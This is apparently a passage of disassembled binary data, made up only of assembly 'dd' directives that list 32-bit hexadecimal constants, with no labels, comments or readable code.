dd 24FB03ABh, 0AEDF050Bh, 0AD172A8Bh, 9BC35BC2h, 7D13F891h
dd 473B4A97h, 0A262E01h, 7E2C3C76h, 9DF4A007h, 7D002D67h
dd 0C10ED754h, 70862EEh, 425867E9h, 580E0462h, 0CCA25161h
dd 0F405A558h, 83E9A43Fh, 0B7EF3594h, 0D35C2DE8h, 7A142DCEh
dd 0F45D5425h, 84F5C9D1h, 0F6C80C4Fh, 203741E7h, 22F756D8h
dd 0C1C609C2h, 25F1D8D1h, 8654D5F7h, 0A553238Dh, 14438A24h
dd 82AAD42h, 0F663FA09h, 1BA70682h, 0CE018FDh, 81719C2Dh
dd 4EF0A5Fh, 2C20DC0Fh, 8934A5B2h, 74010A4Ch, 0D9315B5Ah
dd 0C535CBF5h, 68522C7Bh, 0F8334A5Ah, 754DC952h, 0A5AAA82Ah
dd 3669CABh, 0CF8E35Fh, 7937BBE0h, 4A908B5Fh, 0D32C9FE9h
dd 0C103412Dh, 2F02AB55h, 31437BB5h, 0C6230043h, 0DF8AB5EDh
dd 67B0F089h, 848AC15Bh, 0DC2215Ah, 3C3393Ch, 0B6525843h
dd 74CEB97Bh, 97B4FCFCh, 5700055Bh, 0C748C168h, 11B5A170h
dd 71BD5500h, 4E583F16h, 79780E80h, 0E91E0CD8h, 0F29D32F3h
dd 3363671Dh, 947BF027h, 25DA5C5h, 0ACB21C1h, 40BB0DD2h
dd 30CD30ADh, 6D660E13h, 83650AEh, 4BB2E912h, 0C046BDC5h
dd 1A48950Bh, 5844E946h, 1B09883Eh, 801E65BAh, 980BD7C1h
dd 0EEFDA0B3h, 0B5490C55h, 20EB8C50h, 0BFDDCF1Eh, 0E32A1C6Ch
dd 0AE77AA21h, 785618D3h, 0B203489Eh, 0DBE9BE09h, 0EE81A817h
dd 243A16EFh, 119F50Fh, 0FDD15808h, 40248246h, 0E3096512h
dd 942FB098h, 0CC014134h, 0BF0457F0h, 49680F3Bh, 3C13EEh
dd 0C78108AFh, 0B73B218Ah, 16097C05h, 751A3A38h, 0EE9A68Fh
dd 89ED7C25h, 0A6F0780Bh, 6BEC00B8h, 99050F54h, 3C752927h
dd 8977B13Ah, 0C0EFE925h, 0EE1B2C37h, 0C3B2B8h, 2184F681h
dd 728922ECh, 168A304Bh, 82CAE913h, 14F75D86h, 0DC6828A8h
dd 0C0AC3114h, 2BC8300Ah, 5A05DAE3h, 0FA6C5B68h, 0C81B7533h
dd 138135F2h, 113B18E7h, 0E9178BDDh, 5E90AC5Fh, 1F484F8h
dd 0AD62D893h, 0A068717Eh, 5B5A0828h, 79B112ECh, 0F490012h
dd 16B0318Ch, 49E6DB3h, 0AAB915C1h, 0B69A4B7Ch, 8B56717Dh
dd 3DFEF696h, 8C89DE6Bh, 522A58Ch, 0C9DF3709h, 272754E8h
dd 74A89E3h, 0D01C07ACh, 0EE21C93Ch, 0CE00966Ch, 44696261h
dd 9416860Fh, 8E9065Ah, 17270B4Fh, 0E9C7D1CEh, 58BD0D16h
dd 0D76CB5D9h, 0E188AA15h, 1A0AD216h, 2119A83h, 0DE4FFE4Eh
dd 6026C623h, 30587616h, 0C735796Fh, 83100FB1h, 0F6246654h
dd 0F3440956h, 84F9DAA5h, 15CAD51h, 594DF4BEh, 0BDF05745h
dd 0BD3EE175h, 0F7E0D318h, 3ACE053Ch, 0BEA801E9h, 0BCF20BCCh
dd 56D3271Bh, 7CE14A69h, 4B8FC761h, 813D315Dh, 0E9C5D015h
dd 4DBDFA2Ah, 37688F3Fh, 0C222F853h, 66015EBDh, 7B220FF8h
dd 8FAB3CD6h, 0EE3034A0h, 0C6038059h, 0F1B050C8h, 59F1A566h
dd 0D0D558D5h, 0CB50806Bh, 0E915C630h, 48A008D3h, 0D51E4B1Ah
dd 6A607DCCh, 0C3B53C51h, 266B6A18h, 9F166CB9h, 41BC6847h
dd 0E57CEC5Bh, 405B500Dh, 3079DDBBh, 0F01F65AEh, 0D805F65Ah
dd 7802870Fh, 0E909678Fh, 271AA3D0h, 1AE8E301h, 8A64801h
dd 0F33EBC99h, 60FDF05Ah, 0ED02994Ch, 1EDA5DB0h, 8BDA8FFh
dd 7C841C31h, 7DC65EFDh, 0FDE9C899h, 66A6226h, 0D58F0F38h
dd 64C9F273h, 0B0C4129Ah, 0E106C0B6h, 570E902h, 62808C94h
dd 3DFBAE55h, 5F74E90Fh, 686D298h, 1337382Ch, 2C969308h
dd 821ABC10h, 0C5DF3441h
dd 0E95483F0h, 204B2909h, 2D7924B9h, 15207BC8h, 764619EDh
dd 0C00B0CC1h, 0C67E17BBh, 9DC28E80h, 5E9B890Fh, 17C11FDBh
dd 0C5AA0406h, 83E04D72h, 421BC17Bh, 0CAB900A2h, 5913F58h
dd 94C937EFh, 4B68C3A1h, 40CB6A16h, 0FFDC0C2Dh, 0C0E854C5h
dd 88E956C1h, 0DABB05E6h, 0FE3D1859h, 0B7514F67h, 570935FBh
dd 30367788h, 0D9B25Ch, 0EB686650h, 9A5CE97Eh, 0C2801617h
dd 31CDB12Eh, 681A2403h, 530B3A04h, 6FEC5E5Ch, 9DC0D425h
dd 70CEEC1h, 8F74DDE9h, 6090BE80h, 8A4A9FB9h, 0A4313B24h
dd 0B400C726h, 0E9738252h, 0D2425453h, 351702EAh, 0D029BC0Fh
dd 403013E1h, 149DB9B7h, 811DA000h, 7C1B44C9h, 2A38906Dh
dd 0A3D62FABh, 8D84C938h, 0C6889A50h, 0EB80165Ah, 0B807FA13h
dd 0E483EDB4h, 1AECD8B9h, 0C474F3E9h, 30D89501h, 27084EB7h
dd 47561D2Ch, 121EBD70h, 0BCB48492h, 0EDB14AEAh, 127139A5h
dd 5CF9E9C2h, 0AF5F136Ch, 0A63F62DDh, 0D82900ABh, 0DA33CE05h
dd 0F651BD65h, 0EC4DF769h, 68F148A7h, 11122E99h, 0BED7A550h
dd 0D7F448E4h, 8418F94Eh, 0A7BA5FFBh, 0ACF4CD8h, 8F010782h
dd 1C79878h, 0EF31545Eh, 240FC6E9h, 4578DDCCh, 0B200774Fh
dd 437B60B9h, 0FFECA039h, 0A1CE7E48h, 78407E6h, 0AD4C50E9h
dd 97886C0Ch, 685809C7h, 681802DDh, 5135E955h, 90FA12F8h
dd 70576A65h, 0E629DD5Ah, 5ED7C8CDh, 9299FC48h, 5F6010E5h
dd 45601741h, 0EF674A2Fh, 940C3008h, 0F60091Bh, 587F2628h
dd 73E91721h, 0D22EBCE3h, 27607CF5h, 9C68758Ch, 0F79B3C1Ch
dd 40B918D6h, 0DE109776h, 9858908h, 0D4DE8A68h, 932AB28Ch
dd 0C2F3AEAh, 0FA711725h, 0D468C261h, 0F0BC983Fh, 78A25C7Dh
dd 9E1A8641h, 354E5E61h, 0C503923Ch, 0C39F7AAFh, 9A018D49h
dd 7E507C10h, 7A3D9430h, 2BD4FD71h, 2FBB9E5h, 0F12C8483h
dd 4FB9EB60h, 0EA6C9427h, 0C80809A6h, 818A53D3h, 0CC80E0B4h
dd 4A30D87Ah, 0AC5D728h, 31623D7Ch, 0C7EEEDF5h, 2B561777h
dd 4CE94F32h, 700CB92h, 8846A9Ch, 0C15BD880h, 2D0300E0h
dd 44A92B10h, 305E64E9h, 0E2E508BCh, 0A8A39F10h, 0EB7D373Eh
dd 46FB409Dh, 0E597572Bh, 0C0509629h, 0FAF0E23h, 83EBC12Fh
dd 32681F8h, 7629E341h, 0F3D1053Dh, 63F2DC48h, 0AA2209B8h
dd 0B8C305EFh, 0C1504C0Eh, 2318AFBh, 0B14CDD5Bh, 90195669h
dd 9FFD7318h, 5C0944B6h, 1A4F8268h, 0D9D660ABh, 9E4C9F0Ch
dd 0C2F07C97h, 0D3578CB7h, 1298A2F3h, 0E12A6850h, 6EE82EE9h
dd 92FB40B6h, 43ACD40Bh, 0CC95A24h, 9188636h, 4A5BDA12h
dd 16533101h, 0BA430866h, 8ABA94C8h, 92317C2Fh, 12EFE9D5h
dd 0B9602731h, 8F8D0D7h, 0E71E5A35h, 0F96631F5h, 46254B6h
dd 9FC75B18h, 54974862h, 7AF25A6Dh, 70B5D354h, 0C55DC9CEh
dd 5AA94508h, 421C2A10h, 362E14C9h, 0E07100Eh, 39A6805h
dd 6C8F81CCh, 0CD3101C8h, 0BE0161DCh, 16D48300h, 25D96D1Dh
dd 0EC492BFBh, 0AA7A3063h, 208D2414h, 0EF550024h, 5F21DF72h
dd 1336E49Fh, 0E2010803h, 0F92514F6h, 650ADEE5h, 0CA82A541h
dd 77724B8Fh, 0FFED9900h, 892FBF7Ah, 0ACA271D5h, 1D030014h
dd 295E42FCh, 0DDA8F04Bh, 4405E8B1h, 51350413h, 0C2300593h
dd 0BEECF1C9h, 0E16B2E2h, 7F014AB4h, 3785CB4Fh, 548ED2AEh
dd 783A9C2h, 0AD022F17h, 3A0113E3h, 63AD4048h, 0A2F782ECh
dd 0EDFFCDh, 0F5805CB5h, 0CC7CD97Ah, 2DB5A097h, 0E51679B2h
dd 57750F81h, 2C095B0Fh, 17491000h, 0CF29BB4Fh, 0AB26C26Ah
dd 0CA3A1BD5h, 5BC4834h, 503D198Ah, 3BC0B060h, 98AB3D12h
dd 1B176F48h, 0F68129EEh, 3F7C9DE9h, 4F7C027h, 79BC5E8Eh
dd 4DDF617h, 27E18C5h, 0A9C63CE9h, 517300A3h, 0E6585C52h
dd 42275CB2h, 32209727h, 0E78C0FD5h, 9127A29Ch, 813E5A19h
dd 0B7210E6Eh, 41BF3C64h, 42850FDAh, 118A0F35h, 87862A84h
dd 32A8E280h, 0FDFED6EAh, 8A48714Eh, 0AA4A2E06h, 3080C3Ah
dd 27CCB17h, 46717B66h, 6D390F00h, 0A049B444h, 140CD008h
dd 6AB85003h, 2D88231Fh, 0A50901F1h, 0FA22E972h, 99F30574h
dd 0AF60763Eh, 0B6E31104h, 81B721FBh, 620EA5A6h, 0E2D17D64h
dd 68575180h, 541F0E8Eh, 97291626h, 19CF35C0h, 5B4D5313h
dd 68008CEFh, 7325209h, 20E07A76h, 0BA3DE59Bh, 5B839235h
dd 0AB6613EEh, 1FA6A681h, 9E588934h, 9A405290h, 5A061E32h
dd 3635580Bh, 459B20Dh, 9D300E05h, 0A710FA45h, 34E93F07h
dd 80FFEB99h, 5770CC4h, 76134Ch, 805DB1CEh, 0C98F0F4Bh
dd 0DE4B01CAh, 7D818BC9h, 89C6006Ah, 80210C71h, 50082EE6h
dd 0AC9C4967h, 956E5404h, 0CB825659h, 54205DE8h, 9F63B7C2h
dd 95BA5200h, 29112569h, 0EB8CC0D3h, 6C8F6F5Ch, 883F5A4h
dd 6B170C41h, 77C516F2h, 0DCE6ACD6h, 618C71EFh, 637E3A68h
dd 5C787863h, 136277B4h, 0E9BC411Ah, 407AC2F1h, 42FFE2A4h
dd 9EF81209h, 5C2D6F9Ch, 80570072h, 890F60F6h, 7A49FD24h
dd 0E97ECE81h, 4364CCC6h, 0E0380066h, 64055346h, 71584120h
dd 0FB6126D0h, 92D881BDh, 0D0E9E8BBh, 5ED5002Eh, 875FFA21h
dd 0D6F7F216h, 8A0609EFh, 4E5EB6E6h, 444BF11Fh, 443CFCE6h
dd 876F8253h, 272D3306h, 0DFA0E601h, 4EE319EAh, 0BD604D96h
dd 2D3559AEh, 7C784D54h, 32C1F678h, 124872Dh, 6015E17Eh
dd 0FD830589h, 9F3CFF38h, 0EE67E232h, 890C5F93h, 0B811DAh
dd 66C560BBh, 0F113840Dh, 35482102h, 41252B0Fh, 79D06475h
dd 5ABECE36h, 81853D89h, 94CED7ABh, 0C8E99788h, 0E8A542Fh
dd 2D1C35CDh, 664A1314h, 8428CCC2h, 17888A97h, 0EEC02C02h
dd 2D630878h, 0BE5EC425h, 23D88B47h, 8BE28F51h, 6259771Ch
dd 17A8BCECh, 0FE418338h, 6B7A0D00h, 94F76210h, 0D7D60293h
dd 95FBFFFh, 0E8477D02h, 0A21FC78Bh, 7F57CE09h, 209D969Ch
dd 513106E2h, 564901Dh, 554B56E7h, 54A18536h, 50185D64h
dd 0A9EAAFA5h, 4660DCF2h, 0B539800Ch, 0F18B09B1h, 4ED85B5Dh
dd 26930F18h, 5350Ch, 0CB31195Ch, 6C685159h, 36C84714h
dd 0EB0216C0h, 61C305C2h, 0F93BEF9Ah, 0E2EA86F3h, 5AD53CADh
dd 0D9620A3Eh, 2C2C1133h, 0ECBD0455h, 0C3544D12h, 1C4E3C27h
dd 0FEFB53AFh, 56BCB725h, 29317020h, 0C43A56D0h, 60141334h
dd 2F7E95Ch, 0D74F791Bh, 911BFC7h, 0CB3E1C6Fh, 0E496108Fh
dd 0C49E8149h, 0BB015157h, 680AA1E7h, 8C5E364Dh, 51FB7AE9h
dd 0E24CFE30h, 0EE5C059h, 0EC58005h, 1ED6E80Ch, 2551B881h
dd 85967CA8h, 0B9E053D3h, 114EC6DCh, 5B7C86h, 51942C92h
dd 0D9F6FDB1h, 1EE904C3h, 0C2F502AAh, 320B1570h, 464CEE80h
dd 0CC368B0h, 0E5B101F7h, 0E7F005C4h, 0C8D1F449h, 3F24EE3Eh
dd 1C03960Ch, 0A4009F09h, 0C750E7C5h, 0F5071690h, 39F00D53h
dd 0E5B3EDC0h, 0A19A5A79h, 0D03E2806h, 85EE25D0h, 0D9FA58E9h
dd 0F529433Dh, 2969A0F0h, 8136F0B5h, 0F0715B08h, 2123CB6Fh
dd 2F40281Ch, 6B591E58h, 0F980ED92h, 0A0815D5Fh, 90DD2EEh
dd 0A2685B0Eh, 0BA544FDh, 0D0B4E957h, 0F08A71D1h, 0A7409E8Ch
dd 0BF7AB14Eh, 2BB7AEE8h, 2DB425B5h, 0C6C5D1FBh, 0E41F3005h
dd 0D35C8082h, 9D0ED060h, 85E54BC0h, 50A1331Eh, 2E9CD514h
dd 0DA09F77Ah, 89030E09h, 0A530FF73h, 2921B88h, 5450FC20h
dd 0CEDC029h, 28B52F40h, 1202CAA0h, 0A7E97C66h, 261E5A16h
dd 0AF916D58h, 86C6D742h
dd 2628310Fh, 84697DB7h, 981CE017h, 0C29E766Dh, 0D2F932A8h
dd 0FA3BB18Ch, 83C09D31h, 3913B9C3h, 80EB3F32h, 16F7CB51h
dd 0E93B6BE2h, 0D6E84F2Bh, 3890BBD3h, 3D7B742Dh, 0C4275DB9h
dd 52402A62h, 0CC7F7124h, 0E00BC7ECh, 89DBF7DFh, 0A9868A69h
dd 0C959088Ch, 231309C1h, 0EEE35475h, 5DC39BC3h, 582FEE16h
dd 9DB1648Ch, 0EF759609h, 0BD5C9314h, 60258411h, 0D9571E5Ah
dd 0D9A13CBCh, 4807E069h, 2025B8DCh, 284C79FFh, 0E7375A73h
dd 0E844031Bh, 60BFA52Ch, 5BB551B0h, 61E58002h, 74F255E9h
dd 488A502Ch, 48D50153h, 9A1525B9h, 5904C031h, 164B9EDh
dd 0EB96BFC7h, 25E13F82h, 17427D09h, 2769F450h, 0E70AB2FAh
dd 4E0D5F2Fh, 6C027E69h, 2D066F54h, 0EF01475Fh, 5D088136h
dd 0F1F5FC2Eh, 418239ACh, 602026CDh, 31B86057h, 3E98345Ch
dd 9AE8000Ch, 75D9E94Bh, 0A6DDF9B5h, 73B00FE0h, 0E8B22113h
dd 95E7BE4Ch, 85FC2D8Bh, 0CAFB9957h, 15D35174h, 3590AECCh
dd 5ABA0E38h, 84D5A036h, 6C400C0Ah, 510105BBh, 806352B9h
dd 9F646C20h, 0DE81F989h, 34058C0Fh, 0F20681F3h, 1DAC4504h
dd 71BD2A18h, 0F3A334D8h, 0B645C0F5h, 2AB0175Fh, 8C0A9D0Ch
dd 30D8402h, 0E92EDA56h, 2E5AF78Bh, 0CA158EE6h, 0EC5F6E35h
dd 0FA37842Ch, 55566603h, 2A7ABD98h, 0E9179895h, 7825499Ch
dd 0E1621E0h, 0F30C5E60h, 90CC58ECh, 57A709C8h, 0DFD7248h
dd 13B78F6h, 1A3D6CEDh, 0F8C4010h, 908CAC4h, 16F20E9h
dd 804FB753h, 0D60670CFh, 416AE141h, 38A22AD3h, 7DFD28ECh
dd 4CF334Dh, 0F3A43E2h, 70BD194h, 6B6EC55Bh, 0FD90987Eh
dd 20EB7770h, 0D12EEC94h, 0CF01B9EAh, 92578803h, 959EDBF8h
dd 18D97CA1h, 0B4942A1Dh, 49ACA880h, 10D3B66h, 1F117948h
dd 8DF50256h, 622CE210h, 0EDEC48EAh, 7BFC05E6h, 12EA291Fh
dd 42798093h, 3AFB800Fh, 6FF24040h, 5490266h, 315AD689h
dd 48EBCF3h, 4B6E4852h, 29300DFAh, 940B0757h, 3039FF55h
dd 589D2A7Fh, 986220A7h, 0B354B71h, 0F495519h, 0BB4B2F8Ch
dd 5AF5C0DBh, 5EF73929h, 5EF4F8BDh, 3EA9A3FCh, 6BE59605h
dd 6F1120FFh, 42615406h, 9E680812h, 0E678C126h, 37562D19h
dd 140B57D8h, 471751Ch, 0AEC23E87h, 327E005h, 21232D3Bh
dd 0FAD1EB62h, 2CAA3444h, 0D27268D0h, 0E9010904h, 6EEC5106h
dd 5320AE92h, 0B1398668h, 0E9548462h, 4835AC98h, 0AA2A7755h
dd 6AFE87ACh, 569EF699h, 652BAE42h, 0EE0C4040h, 0DCB90161h
dd 0E9F18907h, 0EB003FE1h, 571AE2BEh, 0B4681331h, 0CC2A8C4Dh
dd 49467414h, 505F27A7h, 69AE2A68h, 8B4C2CBAh, 18FD9FEBh
dd 17BE0FA6h, 6D76380Fh, 0FA7F6E4Eh, 6848B16h, 480EE7D2h
dd 0CE142E43h, 880A0764h, 819D137Fh, 84D652F3h, 3EC96E9Ch
dd 0CD5FDD5h, 0E6E18E38h, 0E07A0D03h, 5C708D2Dh, 9460F48h
dd 543C648Bh, 0C4CC175Ah, 0EFB2FEC0h, 94000448h, 812E8075h
dd 2F1220F1h, 0E50776ACh, 0F2FE09E7h, 29E105BEh, 5A8498DEh
dd 0B7989697h, 0D488AF79h, 935E1DDEh, 28C0B17Ah, 4FBA577h
dd 0AC7E536Dh, 43AEC033h, 0D2576679h, 0BFEBC548h, 265A58C1h
dd 0F07EBC7Ch, 442D04BFh, 0AF31CDE9h, 5418A6CAh, 86E9AA24h
dd 890C05Eh, 4FA67DC9h, 9432EA69h, 0C0EF00CFh, 414CC67Fh
dd 12F73EA9h, 9EA1DA20h, 0BFA43D7Ch, 461E0C09h, 0FCC62240h
dd 7471F307h, 12B5286Bh, 0D55C8049h, 51F48214h, 7F8B13BBh
dd 0B7F6C4AFh, 5857D232h, 0AF2555DBh, 0D2405E21h, 2F4FE4E2h
dd 1A7437F2h, 790577BBh, 0D729AC17h, 58F78309h, 2A32B0B2h
dd 955C5B78h, 10690451h, 15DC1Eh, 0EA812585h, 715554CEh
dd 4CD42D0Eh, 0F6E92239h, 0B9637489h, 88046220h, 0C5285AF0h
dd 0C48BF1B8h, 0D2D204D5h, 0FE2D016h, 6E50765Dh, 4D40E4A6h
dd 8B514B66h, 51232C73h, 0A3B14D04h, 0E26C382h, 91A191A9h
dd 3F4BDBF7h, 1479D4E0h, 0C4212247h, 0C40E7D03h, 1ADAE9D5h
dd 64F0AD4h, 0B73A25CBh, 20BBAB60h, 0A728A328h, 67141A0Bh
dd 2F350070h, 9563846Ch, 0F56B46C4h, 0A0147746h, 0B97F0FCh
dd 0D93CFF0Eh, 40B85002h, 0DD7D7853h, 8F5D150Ah, 2DC0F598h
dd 1C0F4906h, 91FCE910h, 780CBF3Ch, 25921D68h, 32744702h
dd 0DCBAB5E9h, 309B8273h, 73402DE2h, 2E04A419h, 0C509E979h
dd 81DC0513h, 60A181EBh, 5E5CA57Ah, 0CBBD0181h, 42464D2Fh
dd 0C46EA89h, 4DACBABBh, 9E02F64h, 0A1EB5C83h, 30AE33Dh
dd 0CE50780h, 0C2350B9Ch, 2E47153Ch, 8F04AD74h, 68040133h
dd 0D25009Fh, 90A6348h, 182D8B0Fh, 792EC56h, 0DD805913h
dd 0B252C388h, 14112C64h, 0D98A06D2h, 6BE38F5Ah, 0CF7FFB44h
dd 0EB015D00h, 60B0F02Ch, 6E73DC09h, 1CB17722h, 0FFD1A518h
dd 7F68ED22h, 253E89D9h, 0FE95465Bh, 0BB474A5Eh, 0B37E0169h
dd 0DB35C518h, 2A1272FDh, 1A0DCA6Bh, 7FB90C80h, 5B5FE352h
dd 0CB135DA9h, 0E0602679h, 0C011FB2Ch, 772A9700h, 98FD0131h
dd 0E90880F8h, 0DC844A23h, 0F90B01AAh, 305B4A68h, 30060976h
dd 5F1E7FFBh, 6C502BE9h, 7040B456h, 0B3D33BB9h, 0F1F096B0h
dd 6A09E479h, 945E952h, 0AFD9E5A1h, 4F2ED5F2h, 3410103Ah
dd 0A8CA4E72h, 8631E4D0h, 5B03B962h, 11275B1h, 0BA71D1F7h
dd 16460B30h, 80D92955h, 0D8A0436Fh, 4E8B14Ch, 5D742E6Fh
dd 1290EBFh, 0B061073h, 8A654Ah, 9E201FC2h, 350F407Ah
dd 0E09B51BEh, 8B2A120Dh, 7852C165h, 7E40C46Fh, 5D3020E0h
dd 681CB709h, 2606914h, 0BD965AEh, 28E0257h, 0E2BA04B0h
dd 1041483Ch, 800B7D92h, 257F40F6h, 30C2C7B7h, 59000B2Ch
dd 7E6D1C11h, 9595D25h, 56D4DE70h, 0C160CCF0h, 1C6CF11Dh
dd 0E0B6A392h, 5F7F2655h, 1B60D070h, 7AE91DE5h, 1A22DE04h
dd 0DA814BBBh, 4C129057h, 6B3A953Ch, 14974EF5h, 0F8137EE9h
dd 4C100B81h, 72C4F63Ah, 44EBD281h, 0B0A2EB0Ch, 8A72E9F0h
dd 0DEE466A0h, 8945A20Ah, 0A43C89CEh, 7E42AE5Eh, 0F553073Dh
dd 6684FEEBh, 5F215922h, 1C363E44h, 4FBA6718h, 97028662h
dd 340D681Ch, 0B01C5727h, 0CDACE91Ch, 2FB84A38h, 0A1E921F1h
dd 6804406Bh, 65BE0BF6h, 5D650199h, 6A30DC46h, 54405DF1h
dd 5AD828B7h, 874EF062h, 6848B173h, 924B3808h, 69FC0619h
dd 9A395017h, 56C5015Eh, 4DE9B598h, 0D8BB13DFh, 744D9DC2h
dd 3A5D08C6h, 7BBF81BEh, 1420540Eh, 0F1841F45h, 0AECD92ABh
dd 9C1AD2Ch, 50E676B9h, 83D28F5h, 0DDAB5D12h, 44E23FEBh
dd 0A288FE93h, 5F34073h, 0A687109h, 0C28E5DB9h, 7A254668h
dd 808A2AF6h, 18037909h, 0EB613D85h, 68358A7h, 64F080AFh
dd 5063D5Ch, 5BF11713h, 0D915205Bh, 1C88BF00h, 0FA0928F0h
dd 83A1B85Fh, 0F8AA98C9h, 0E918129Bh, 5A3EC25Bh, 0D0B3670h
dd 7C722322h, 0F7CC2DD1h, 14B8829Dh, 3BDC0B19h, 0C568E184h
dd 4AECF2BFh, 0FE43D2E0h, 0FDC05BF4h, 0E3EC0424h, 0CC85E188h
dd 20CAD95h, 48D6E149h, 809E8B8Fh, 0F4B7F7Ch, 0D25BE780h
dd 44F46043h, 0A0E9887Eh, 0D06EBF23h, 72AEDC9Dh, 19689921h
dd 0F0DA2F62h, 0B9CEE916h, 0D9C7022Fh, 0DD0C1D3Bh, 5EF5705h
dd 0D14FE908h, 60D8315Ch, 585BC3A3h, 0DA9615B9h, 8F5C1E0Eh
dd 54E55464h, 0DEE28D82h, 0EA59134Eh, 1352C828h, 0B3627C68h
dd 3440B9Dh, 0D32D501h, 0E9E132F6h, 412E37BFh, 2C02B6Eh
dd 0F92435F1h, 1FB0687Ah
dd 6DC92DADh, 4016400Ch, 688D2F13h, 85855989h, 1463EC4Ch
dd 12E4EFC0h, 4E179AF7h, 0C7E4C1F5h, 4A3B90D6h, 2DEFFDF9h
dd 54B29152h, 0B26A01E7h, 66D02833h, 0BAF93E5Ah, 0A5E7677Eh
dd 0C634F1E2h, 0A2043A7Ah, 0BC2B502h, 0C0A04A5Eh, 4E6C8204h
dd 44F984B9h, 0AF502C89h, 33511098h, 6078E6B1h, 6EF4A11Eh
dd 278E7109h, 1B21AC3Bh, 3AEC5927h, 40BDAAA4h, 0F201D85Eh
dd 48E9A012h, 13DA1324h, 0EE3B821h, 896B71E3h, 6C63837Eh
dd 504FEA49h, 0E9510C14h, 0F2CB2726h, 0A419350Bh, 24605764h
dd 0E97629DBh, 42F4F14Bh, 4E16F062h, 7DE8CB67h, 0FB0C8D25h
dd 2088E8E3h, 68583C07h, 3051D1CEh, 0AC273E24h, 5702B5D0h
dd 0B206FA71h, 4BB025D3h, 0D6AF8AD5h, 0EC0AD912h, 0A640C5E1h
dd 984D2E72h, 93C42D4Bh, 62892F90h, 0B41080E9h, 685358B0h
dd 116A12ECh, 0EB390864h, 6B88BE01h, 18E86F2Dh, 0AA6697A0h
dd 7DD8ECC1h, 0C42A27D5h, 0AC071225h, 2EC35132h, 7724E11Dh
dd 6FB11C93h, 2B99D92Ah, 96503BF4h, 0E4F38B7Bh, 0ABA8075Eh
dd 9D7E4B22h, 0F392BA45h, 55035895h, 9711614Ah, 1C9205C4h
dd 54205F21h, 1580420Ch, 25B8B9A3h, 28B743E3h, 782D084Ch
dd 0B4E59F5Bh, 5CAF9626h, 0F8FCCBA9h, 0F3023CCAh, 89269942h
dd 81B974D1h, 0AA7AF0CBh, 0F2E0203Fh, 9FB7F39h, 565974E9h
dd 705571FFh, 46013EFEh, 0FEBD4E49h, 7DCA1351h, 0DDF7B4E0h
dd 0AC8B0F3Dh, 0ED8033C6h, 0F5814D07h, 662700A9h, 46F9BD0Ah
dd 0E92439CAh, 2FA7BC52h, 626E2B38h, 45005BDBh, 3A2DFA29h
dd 163DDF30h, 0B41EF62h, 0C4DA21A7h, 27E17AEFh, 0BC641DECh
dd 41EF6803h, 53549D68h, 57FEB872h, 53F80102h, 0A0E142E9h
dd 1727EF99h, 272B7BA1h, 0D3FE3692h, 8DF899C4h, 36F5726h
dd 5F2BBF1Ch, 0E96933E2h, 0CF08305Ah, 2970E441h, 0F5440FF1h
dd 2AAD4AC4h, 43E33A29h, 6F43055Fh, 0DF954BECh, 8041107Dh
dd 0F6771EC5h, 0F0F597D5h, 78392D62h, 0DE1A2739h, 0C4C9138Fh
dd 2E82EEABh, 0E851575Eh, 0CAE18013h, 0ADBE646Bh, 76DF8608h
dd 0EE88270Ah, 82594E85h, 5057CFCAh, 0A42BEBA4h, 4A4137AFh
dd 0D6501C7Ch, 385C81E5h, 0D56685F3h, 81AF24EFh, 0F5236Bh
dd 90C3835Dh, 0D7942203h, 0ED2E41F0h, 9A1CCA77h, 95EC9060h
dd 7E6B6579h, 0DD3318B8h, 5281B24Ch, 0FBCA770h, 4F19DF30h
dd 0FC763BA9h, 4FB42AC5h, 0AC9840EFh, 997A8ECh, 6880B0E8h
dd 997AEDEDh, 86E96A9Fh, 0AAC852B5h, 15B0C845h, 4EB3D53h
dd 0D8E28CDFh, 261FF3D1h, 0FE597319h, 0B9C7404Dh, 0A65588A6h
dd 1DFD5480h, 224B7CF4h, 0C305A90Bh, 1FC09A3h, 3E5C9E81h
dd 5F0D02Ah, 0A7490EE9h, 0B4BC4004h, 0F58BBE05h, 13BEDF89h
dd 0F69EA4Ah, 0EE040FC1h, 0CA29E792h, 0B4C3DFC8h, 43E282h
dd 4A7C2D0h, 7EB1C04Fh, 0EADD5AD1h, 863CE2D6h, 95C36245h
dd 0D7B091F8h, 71C12145h, 812E8704h, 2E7C826Ah, 4DB52E80h
dd 354F0E34h, 0BB70510h, 0EA5FC14Ah, 5EC987EAh, 9471BE72h
dd 0F735675Eh, 4AEB6F50h, 0FE568E24h, 25689FB4h, 0E31854D2h
dd 775B7D6Ah, 0D8960585h, 0B9009502h, 104662C9h, 0B7C6435Bh
dd 9E730522h, 0BE01A29Ch, 0D38BA012h, 23A9E908h, 0A11CEB92h
dd 0C32875C5h, 0F651AB0Bh, 45792FF7h, 5B5FC80h, 24E9DD30h
dd 87C2DC13h, 3AF65AD4h, 0FCBB209Ch, 25015A32h, 0B3A4D53Bh
dd 144A7638h, 2A4E79BEh, 0F697554Bh, 0B905123Dh, 5650DA02h
dd 22E94105h, 557F3643h, 35C33A72h, 4747419Bh, 13A56BE5h
dd 0F52DBF5Eh, 42E1DE03h, 0AECDF53Bh, 58932AEBh, 0B2398880h
dd 0B56395E3h, 0BBD6CDE2h, 1A057B5Ah, 0A5419536h, 2A3335E0h
dd 1AF1FD00h, 9F83D282h, 0CC166BDEh, 15B8A357h, 84393E06h
dd 0E9186541h, 0C361B301h, 0AF4F1A3Ch, 86D8D84Ch, 0F432FF27h
dd 7254075h, 3063F844h, 0BF3504DEh, 49020F32h, 173AD856h
dd 9429AB5Bh, 105DB67Ah, 984016BDh, 15B9667h, 0D239AD0Dh
dd 0E579E828h, 0FB2445E1h, 0A982CFD4h, 625B07FCh, 0A0751012h
dd 5177BC5Fh, 12AB830h, 1B4B5C60h, 2F32870Fh, 0D7B7AAD1h
dd 0F1400B89h, 563FBA75h, 0D28C4338h, 79C01E3Bh, 52055990h
dd 0E2D0F0B2h, 0FB9DD8C1h, 8C2C003h, 216F0561h, 33D52656h
dd 96B5AC30h, 0EB5E582Ah, 0BE510113h, 0C3E9B173h, 0BB24004Bh
dd 4E585650h, 5B4FDF21h, 0C17CAD1Ch, 3EA15F60h, 3ADC9030h
dd 0C548802Fh, 7D0CA5EBh, 38895F96h, 78F2FC51h, 0E02C24BDh
dd 0C45895BAh, 2062F893h, 87A2BD80h, 0EFDD93A4h, 601C10C3h
dd 1A5F4112h, 55A29F26h, 0ACA2078Eh, 7174B3E7h, 23664C3h
dd 50ABF5A9h, 0CB404B5Ah, 0D3006D3h, 6A4F180Ch, 0A6148A1h
dd 79BCAE20h, 1010BD4Ah, 46C70813h, 9671F7BDh, 6A5D027Fh
